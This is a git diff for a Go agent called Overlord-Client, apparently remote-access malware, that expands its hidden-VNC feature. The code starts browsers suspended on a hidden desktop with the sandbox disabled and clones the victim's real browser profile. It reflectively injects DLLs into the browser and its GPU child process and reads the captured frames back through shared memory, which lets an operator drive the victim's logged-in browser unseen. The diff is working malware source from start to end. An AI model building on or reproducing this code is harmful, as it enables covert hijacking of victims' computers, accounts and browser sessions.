#ifdef _MSC_VER
-#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "ntdll.lib")
#endif
diff --git a/HVNCInjection/src/libMinHook.x64.lib b/HVNCInjection/src/libMinHook.x64.lib
deleted file mode 100644
index e211ad6..0000000
Binary files a/HVNCInjection/src/libMinHook.x64.lib and /dev/null differ
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go
new file mode 100644
index 0000000..efd2dd2
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go
@@ -0,0 +1,318 @@
+//go:build windows
+
+package capture
+
+import (
+ "encoding/binary"
+ "fmt"
+ "log"
+ "sync"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
+// must be kept in sync with HVNCCapture/src/DXGICapture.h.
+type hvncFrameHeader struct {
+ Magic uint32
+ Version uint32
+ Width uint32
+ Height uint32
+ Stride uint32
+ Format uint32
+ FrameSeq uint64
+ TimestampNs uint64
+ PID uint32
+ Reserved uint32
+}
+
+const (
+ hvncFrameMagic = 0x434E5648 // 'HVNC'
+ hvncFrameVersion = 1
+ hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
+ hvncShmPrefix = `Local\hvnc_frame_`
+ hvncEventPrefix = `Local\hvnc_evt_`
+)
+
+var (
+ procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
+ procOpenEventW = kernel32.NewProc("OpenEventW")
+)
+
+const (
+ FILE_MAP_READ = 0x0004
+ EVENT_ALL_ACCESS = 0x1F0003
+ SYNCHRONIZE = 0x00100000
+)
+
+type hvncFrameReader struct {
+ pid uint32
+ shmHandle uintptr
+ shmView unsafe.Pointer
+ shmSize uintptr
+ evtHandle uintptr
+ lastSeq uint64
+ staleCount int
+ mu sync.Mutex
+}
+
+var (
+ hvncFrameReaders = make(map[uint32]*hvncFrameReader)
+ hvncFrameReadersMu sync.Mutex
+
+ hvncGPUPIDMap = make(map[uint32]uint32)
+)
+
+func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
+ hvncFrameReadersMu.Lock()
+ hvncGPUPIDMap[browserPID] = gpuPID
+ hvncFrameReadersMu.Unlock()
+ log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
+}
+
+func hvncGetFrameReader(pid uint32) *hvncFrameReader {
+ hvncFrameReadersMu.Lock()
+ defer hvncFrameReadersMu.Unlock()
+
+ if r, ok := hvncFrameReaders[pid]; ok {
+ if r.staleCount > 300 {
+ log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
+ r.close()
+ delete(hvncFrameReaders, pid)
+ } else {
+ return r
+ }
+ }
+
+ shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
+ shmHandle, _, _ := procOpenFileMappingW.Call(
+ FILE_MAP_READ,
+ 0,
+ uintptr(unsafe.Pointer(shmName)),
+ )
+ if shmHandle == 0 {
+ return nil
+ }
+
+ view, _, _ := procMapViewOfFile.Call(
+ shmHandle,
+ FILE_MAP_READ,
+ 0, 0,
+ hvncFrameHeaderSize,
+ )
+ if view == 0 {
+ procCloseHandle.Call(shmHandle)
+ return nil
+ }
+
+ hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
+ if hdr.Magic != hvncFrameMagic {
+ procUnmapViewOfFile.Call(view)
+ procCloseHandle.Call(shmHandle)
+ return nil
+ }
+
+ fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
+
+ procUnmapViewOfFile.Call(view)
+ view = 0
+ hdr = nil
+
+ fullView, _, _ := procMapViewOfFile.Call(
+ shmHandle,
+ FILE_MAP_READ,
+ 0, 0,
+ fullSize,
+ )
+ if fullView == 0 {
+ procCloseHandle.Call(shmHandle)
+ return nil
+ }
+
+ hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
+
+ evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
+ evtHandle, _, _ := procOpenEventW.Call(
+ SYNCHRONIZE,
+ 0,
+ uintptr(unsafe.Pointer(evtName)),
+ )
+
+ r := &hvncFrameReader{
+ pid: pid,
+ shmHandle: shmHandle,
+ shmView: unsafe.Pointer(fullView),
+ shmSize: fullSize,
+ evtHandle: evtHandle,
+ }
+ hvncFrameReaders[pid] = r
+
+ log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
+ pid, hdr2.Width, hdr2.Height, fullSize)
+ return r
+}
+
+func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
+ r.mu.Lock()
+ defer r.mu.Unlock()
+
+ if r.shmView == nil {
+ return 0, 0, false
+ }
+
+ hdr := (*hvncFrameHeader)(r.shmView)
+ if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
+ return 0, 0, false
+ }
+
+ w = int(hdr.Width)
+ h = int(hdr.Height)
+ stride := int(hdr.Stride)
+
+ if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
+ return 0, 0, false
+ }
+
+ dstStride := w * 4
+ if stride < dstStride {
+ return 0, 0, false // stride must be >= w*4
+ }
+
+ needed := w * h * 4
+ if len(dst) < needed {
+ return 0, 0, false
+ }
+
+ totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
+ if totalNeeded > r.shmSize {
+ r.remap(w, h, stride)
+ if r.shmView == nil {
+ return 0, 0, false
+ }
+ hdr = (*hvncFrameHeader)(r.shmView)
+ if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
+ return 0, 0, false
+ }
+ }
+
+ pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
+ srcSize := stride * h
+ src := unsafe.Slice((*byte)(pixelData), srcSize)
+
+ for y := 0; y < h; y++ {
+ srcOff := y * stride
+ dstOff := y * dstStride
+ copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
+ }
+
+ seq := hdr.FrameSeq
+ if seq != r.lastSeq {
+ r.lastSeq = seq
+ r.staleCount = 0
+ } else {
+ r.staleCount++
+ }
+
+ return w, h, true
+}
+
+func (r *hvncFrameReader) remap(w, h, stride int) {
+ if r.shmView != nil {
+ procUnmapViewOfFile.Call(uintptr(r.shmView))
+ r.shmView = nil
+ }
+
+ newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
+ view, _, _ := procMapViewOfFile.Call(
+ r.shmHandle,
+ FILE_MAP_READ,
+ 0, 0,
+ newSize,
+ )
+ if view == 0 {
+ return
+ }
+ r.shmView = unsafe.Pointer(view)
+ r.shmSize = newSize
+}
+
+func (r *hvncFrameReader) close() {
+ r.mu.Lock()
+ defer r.mu.Unlock()
+
+ if r.shmView != nil {
+ procUnmapViewOfFile.Call(uintptr(r.shmView))
+ r.shmView = nil
+ }
+ if r.shmHandle != 0 {
+ procCloseHandle.Call(r.shmHandle)
+ r.shmHandle = 0
+ }
+ if r.evtHandle != 0 {
+ procCloseHandle.Call(r.evtHandle)
+ r.evtHandle = 0
+ }
+}
+
+func hvncCleanupFrameReaders() {
+ hvncFrameReadersMu.Lock()
+ defer hvncFrameReadersMu.Unlock()
+
+ for pid, r := range hvncFrameReaders {
+ r.close()
+ delete(hvncFrameReaders, pid)
+ }
+ for k := range hvncGPUPIDMap {
+ delete(hvncGPUPIDMap, k)
+ }
+}
+
+var (
+ hvncInjectedPIDs = make(map[uint32]time.Time)
+ hvncInjectedPIDsMu sync.Mutex
+)
+
+func hvncRegisterInjectedPID(pid uint32) {
+ hvncInjectedPIDsMu.Lock()
+ hvncInjectedPIDs[pid] = time.Now()
+ hvncInjectedPIDsMu.Unlock()
+}
+
+func hvncGetInjectedPIDs() []uint32 {
+ hvncInjectedPIDsMu.Lock()
+ defer hvncInjectedPIDsMu.Unlock()
+ pids := make([]uint32, 0, len(hvncInjectedPIDs))
+ for pid := range hvncInjectedPIDs {
+ pids = append(pids, pid)
+ }
+ return pids
+}
+
+func hvncUnregisterInjectedPID(pid uint32) {
+ hvncInjectedPIDsMu.Lock()
+ delete(hvncInjectedPIDs, pid)
+ hvncInjectedPIDsMu.Unlock()
+}
+
+func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
+ if len(data) < hvncFrameHeaderSize {
+ return nil, false
+ }
+ hdr := &hvncFrameHeader{
+ Magic: binary.LittleEndian.Uint32(data[0:4]),
+ Version: binary.LittleEndian.Uint32(data[4:8]),
+ Width: binary.LittleEndian.Uint32(data[8:12]),
+ Height: binary.LittleEndian.Uint32(data[12:16]),
+ Stride: binary.LittleEndian.Uint32(data[16:20]),
+ Format: binary.LittleEndian.Uint32(data[20:24]),
+ FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
+ TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
+ PID: binary.LittleEndian.Uint32(data[40:44]),
+ Reserved: binary.LittleEndian.Uint32(data[44:48]),
+ }
+ if hdr.Magic != hvncFrameMagic {
+ return nil, false
+ }
+ return hdr, true
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
index 024a818..89b820d 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
@@ -4,16 +4,17 @@ package capture
import "errors"
-func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
return errors.New("HVNC injection not supported on this platform")
}
-func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
+func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform")
}
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
+type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
return errors.New("HVNC injection not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
index c952bfc..0134965 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -35,6 +35,9 @@ var (
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
+type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
+
+var hvncDXGIStatusCallback atomic.Value
const (
PROCESS_CREATE_THREAD = 0x0002
@@ -99,7 +102,7 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
-func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -108,11 +111,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
}
result, err := executeHVNCTask(hvncTask{
- kind: hvncTaskStartProcessInjected,
- filePath: filePath,
- dllBytes: dllBytes,
- searchPath: searchPath,
- replacePath: replacePath,
+ kind: hvncTaskStartProcessInjected,
+ filePath: filePath,
+ dllBytes: dllBytes,
+ captureDllBytes: captureDllBytes,
+ searchPath: searchPath,
+ replacePath: replacePath,
}, 30*time.Second)
if err != nil {
return err
@@ -124,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
+ if onDXGIStatus != nil {
+ hvncDXGIStatusCallback.Store(onDXGIStatus)
+ }
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
return fmt.Errorf("unknown browser %q", browser)
@@ -151,7 +158,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
- return StartHVNCProcessInjected(exePath, dllBytes, "", "")
+ return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
}
realUserData := getBrowserUserDataDir(info)
@@ -188,12 +195,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
}
- return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
+ return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
}
// StartHVNCChromeInjected is kept for backward compatibility.
-func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
- return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
+func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
+ return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil)
}
type browserInfo struct {
@@ -660,7 +667,7 @@ func calcDirSize(dir string) int64 {
return total
}
-func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -712,9 +719,170 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
+
+ if len(captureDllBytes) > 0 {
+ go hvncDeferredGPUInject(pid, captureDllBytes)
+ }
+
return nil
}
+func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
+ time.Sleep(4 * time.Second)
+
+ for attempt := 0; attempt < 15; attempt++ {
+ gpuPID, err := findGPUChildProcess(browserPID)
+ if err != nil {
+ log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
+ time.Sleep(2 * time.Second)
+ continue
+ }
+
+ log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
+
+ hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
+ if hProcess == 0 {
+ log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
+ return
+ }
+
+ if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
+ log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
+ procCloseHandle.Call(hProcess)
+ if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
+ fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
+ }
+ return
+ }
+ procCloseHandle.Call(hProcess)
+
+ log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
+ hvncRegisterInjectedPID(gpuPID)
+ hvncRegisterGPUPID(browserPID, gpuPID)
+ if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
+ fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
+ }
+ return
+ }
+
+ log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
+ if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
+ fn(false, 0, "DXGI injection failed: GPU process not found")
+ }
+}
+
+func findGPUChildProcess(parentPID uint32) (uint32, error) {
+ children := findChildPIDs(parentPID)
+ if len(children) == 0 {
+ return 0, fmt.Errorf("no child processes")
+ }
+
+ for _, childPID := range children {
+ if hasLoadedModule(childPID, "d3d11.dll") {
+ return childPID, nil
+ }
+ }
+
+ return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
+}
+
+type processEntry32W struct {
+ Size uint32
+ CntUsage uint32
+ ProcessID uint32
+ DefaultHeapID uintptr
+ ModuleID uint32
+ CntThreads uint32
+ ParentProcessID uint32
+ PriClassBase int32
+ Flags uint32
+ ExeFile [260]uint16
+}
+
+type moduleEntry32W struct {
+ Size uint32
+ ModuleID uint32
+ ProcessID uint32
+ GlblcntUsage uint32
+ ProccntUsage uint32
+ ModBaseAddr uintptr
+ ModBaseSize uint32
+ HModule uintptr
+ SzModule [256]uint16
+ SzExePath [260]uint16
+}
+
+var (
+ procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
+ procProcess32FirstW = kernel32.NewProc("Process32FirstW")
+ procProcess32NextW = kernel32.NewProc("Process32NextW")
+ procModule32FirstW = kernel32.NewProc("Module32FirstW")
+ procModule32NextW = kernel32.NewProc("Module32NextW")
+)
+
+const (
+ TH32CS_SNAPPROCESS = 0x00000002
+ TH32CS_SNAPMODULE = 0x00000008
+ TH32CS_SNAPMODULE32 = 0x00000010
+)
+
+func findChildPIDs(parentPID uint32) []uint32 {
+ snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
+ if snap == 0 || snap == ^uintptr(0) {
+ return nil
+ }
+ defer procCloseHandle.Call(snap)
+
+ var entry processEntry32W
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ return nil
+ }
+
+ var children []uint32
+ for {
+ if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
+ children = append(children, entry.ProcessID)
+ }
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ break
+ }
+ }
+ return children
+}
+
+func hasLoadedModule(pid uint32, moduleName string) bool {
+ snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
+ if snap == 0 || snap == ^uintptr(0) {
+ return false
+ }
+ defer procCloseHandle.Call(snap)
+
+ var entry moduleEntry32W
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ return false
+ }
+
+ target := strings.ToLower(moduleName)
+ for {
+ name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
+ if name == target {
+ return true
+ }
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ break
+ }
+ }
+ return false
+}
+
func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
}
@@ -771,7 +939,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
}
baseName := strings.ToLower(filepath.Base(filePath))
if browserExes[baseName] {
- args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
+ args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
} else if baseName == "firefox.exe" {
args += " -no-remote -wait-for-browser"
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index 824b705..d29d295 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
+func SetHVNCDXGIEnabled(enabled bool) {}
+
+func GetHVNCDXGIEnabled() bool { return false }
+
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 95333d3..2a95fbb 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -203,20 +203,21 @@ const (
)
type hvncTask struct {
- kind hvncTaskKind
- id uint64
- display int
- filePath string
- x int32
- y int32
- button int
- vk uint16
- delta int32
- dllBytes []byte
- searchPath string
- replacePath string
- queuedAt time.Time
- resp chan hvncTaskResult
+ kind hvncTaskKind
+ id uint64
+ display int
+ filePath string
+ x int32
+ y int32
+ button int
+ vk uint16
+ delta int32
+ dllBytes []byte
+ captureDllBytes []byte
+ searchPath string
+ replacePath string
+ queuedAt time.Time
+ resp chan hvncTaskResult
}
type hvncTaskResult struct {
@@ -360,6 +361,10 @@ func CleanupHVNCDesktop() {
hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock()
+ hvncCleanupFrameReaders()
+
+ hvncFreeCapCache()
+
for _, entry := range hvncWinCache {
hvncFreeCacheEntry(entry)
}
@@ -475,7 +480,7 @@ func ensureHVNCThread() error {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
- result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
+ result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
@@ -710,13 +715,86 @@ func hvncTaskDetails(task hvncTask) string {
}
}
+var (
+ hvncCapHDCScreen uintptr
+ hvncCapHDCMem uintptr
+ hvncCapHBMP uintptr
+ hvncCapBits unsafe.Pointer
+ hvncCapW int
+ hvncCapH int
+ hvncCapImg *image.RGBA
+)
+
+func hvncFreeCapCache() {
+ if hvncCapHBMP != 0 {
+ deleteObject(hvncCapHBMP)
+ hvncCapHBMP = 0
+ }
+ if hvncCapHDCMem != 0 {
+ deleteDC(hvncCapHDCMem)
+ hvncCapHDCMem = 0
+ }
+ if hvncCapHDCScreen != 0 {
+ releaseDC(0, hvncCapHDCScreen)
+ hvncCapHDCScreen = 0
+ }
+ hvncCapBits = nil
+ hvncCapW = 0
+ hvncCapH = 0
+ hvncCapImg = nil
+}
+
+func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
+ if hvncCapHDCScreen == 0 {
+ hvncCapHDCScreen = getDC(0)
+ if hvncCapHDCScreen == 0 {
+ return 0, 0, nil, false
+ }
+ }
+ if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil {
+ buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
+ return hvncCapHDCScreen, hvncCapHDCMem, buf, true
+ }
+ if hvncCapHBMP != 0 {
+ deleteObject(hvncCapHBMP)
+ hvncCapHBMP = 0
+ }
+ if hvncCapHDCMem != 0 {
+ deleteDC(hvncCapHDCMem)
+ hvncCapHDCMem = 0
+ }
+ hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen)
+ if hvncCapHDCMem == 0 {
+ return 0, 0, nil, false
+ }
+ bmi := bitmapInfo{
+ bmiHeader: bitmapInfoHeader{
+ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+ biWidth: int32(w),
+ biHeight: -int32(h),
+ biPlanes: 1,
+ biBitCount: 32,
+ biCompression: BI_RGB,
+ },
+ }
+ hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits)
+ if hvncCapHBMP == 0 || hvncCapBits == nil {
+ deleteDC(hvncCapHDCMem)
+ hvncCapHDCMem = 0
+ return 0, 0, nil, false
+ }
+ selectObject(hvncCapHDCMem, hvncCapHBMP)
+ hvncCapW = w
+ hvncCapH = h
+ hvncCapImg = nil
+ buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
+ return hvncCapHDCScreen, hvncCapHDCMem, buf, true
+}
+
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
- restoreRes := BypassResolutionCap()
- defer restoreRes()
-
setDPIAware()
maxDisplays := displayCount()
@@ -748,36 +826,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
capW := srcW
capH := srcH
- hdcScreen := getDC(0)
- if hdcScreen == 0 {
+ hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
+ if !ok {
return nil, syscall.EINVAL
}
- defer releaseDC(0, hdcScreen)
- hdcMem := createCompatibleDC(hdcScreen)
- if hdcMem == 0 {
- return nil, syscall.EINVAL
- }
- defer deleteDC(hdcMem)
-
- bmi := bitmapInfo{
- bmiHeader: bitmapInfoHeader{
- biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
- biWidth: int32(capW),
- biHeight: -int32(capH),
- biPlanes: 1,
- biBitCount: 32,
- biCompression: BI_RGB,
- },
- }
- var bits unsafe.Pointer
- hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
- if hbmp == 0 || bits == nil {
- return nil, syscall.EINVAL
- }
- selectObject(hdcMem, hbmp)
-
- buf := unsafe.Slice((*byte)(bits), capW*capH*4)
for i := range buf {
buf[i] = 0
}
@@ -792,14 +845,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
}
swapRB(buf)
- img := image.NewRGBA(image.Rect(0, 0, capW, capH))
+
+ img := hvncCapImg
+ if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
+ img = image.NewRGBA(image.Rect(0, 0, capW, capH))
+ hvncCapImg = img
+ }
copy(img.Pix, buf)
- deleteObject(hbmp)
-
- if hvncCursorEnabled {
- DrawCursorOnImage(img, bounds)
- }
+ _ = hdcMem
if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH)
@@ -1571,6 +1625,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
}
}
+var dxgiFrameBuf []byte
+
+var hvncDXGIEnabled atomic.Bool
+
+func init() {
+ hvncDXGIEnabled.Store(true) // enabled by default
+}
+
+func SetHVNCDXGIEnabled(enabled bool) {
+ hvncDXGIEnabled.Store(enabled)
+}
+
+func GetHVNCDXGIEnabled() bool {
+ return hvncDXGIEnabled.Load()
+}
+
+func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
+ if !hvncDXGIEnabled.Load() {
+ return false
+ }
+ var pid uint32
+ procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
+ if pid == 0 {
+ return false
+ }
+
+ reader := hvncGetFrameReader(pid)
+ if reader == nil {
+ hvncFrameReadersMu.Lock()
+ gpuPID := hvncGPUPIDMap[pid]
+ hvncFrameReadersMu.Unlock()
+ if gpuPID != 0 {
+ reader = hvncGetFrameReader(gpuPID)
+ }
+ }
+ if reader == nil {
+ return false
+ }
+
+ needed := winW * winH * 4
+ if cap(dxgiFrameBuf) < needed {
+ dxgiFrameBuf = make([]byte, needed)
+ }
+ buf := dxgiFrameBuf[:needed]
+
+ frameW, frameH, ok := reader.readFrame(buf)
+ if !ok {
+ return false
+ }
+
+ copyW := minInt(winW, frameW)
+ copyH := minInt(winH, frameH)
+ if copyW <= 0 || copyH <= 0 {
+ return false
+ }
+
+ srcStride := frameW * 4
+ winStride := winW * 4
+
+ effWinLeft := winLeft
+ effWinTop := winTop
+ effWinRight := winLeft + copyW
+ effWinBottom := winTop + copyH
+
+ interLeft := maxInt(effWinLeft, bounds.Min.X)
+ interTop := maxInt(effWinTop, bounds.Min.Y)
+ interRight := minInt(effWinRight, bounds.Max.X)
+ interBottom := minInt(effWinBottom, bounds.Max.Y)
+ if interRight <= interLeft || interBottom <= interTop {
+ return false
+ }
+
+ srcX := interLeft - winLeft
+ srcY := interTop - winTop
+ dstX := interLeft - bounds.Min.X
+ dstY := interTop - bounds.Min.Y
+ blitW := interRight - interLeft
+ blitH := interBottom - interTop
+
+ for y := 0; y < blitH; y++ {
+ srcStart := (srcY+y)*srcStride + srcX*4
+ dstStart := (dstY+y)*targetStride + dstX*4
+ copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
+ }
+
+ _ = winStride
+ return true
+}
+
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if !isWindowVisible(hwnd) {
return false
@@ -1597,6 +1740,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
return false
}
+ if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
+ return true
+ }
+
// Use pooled DC+DIB from cache
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
if entry == nil {
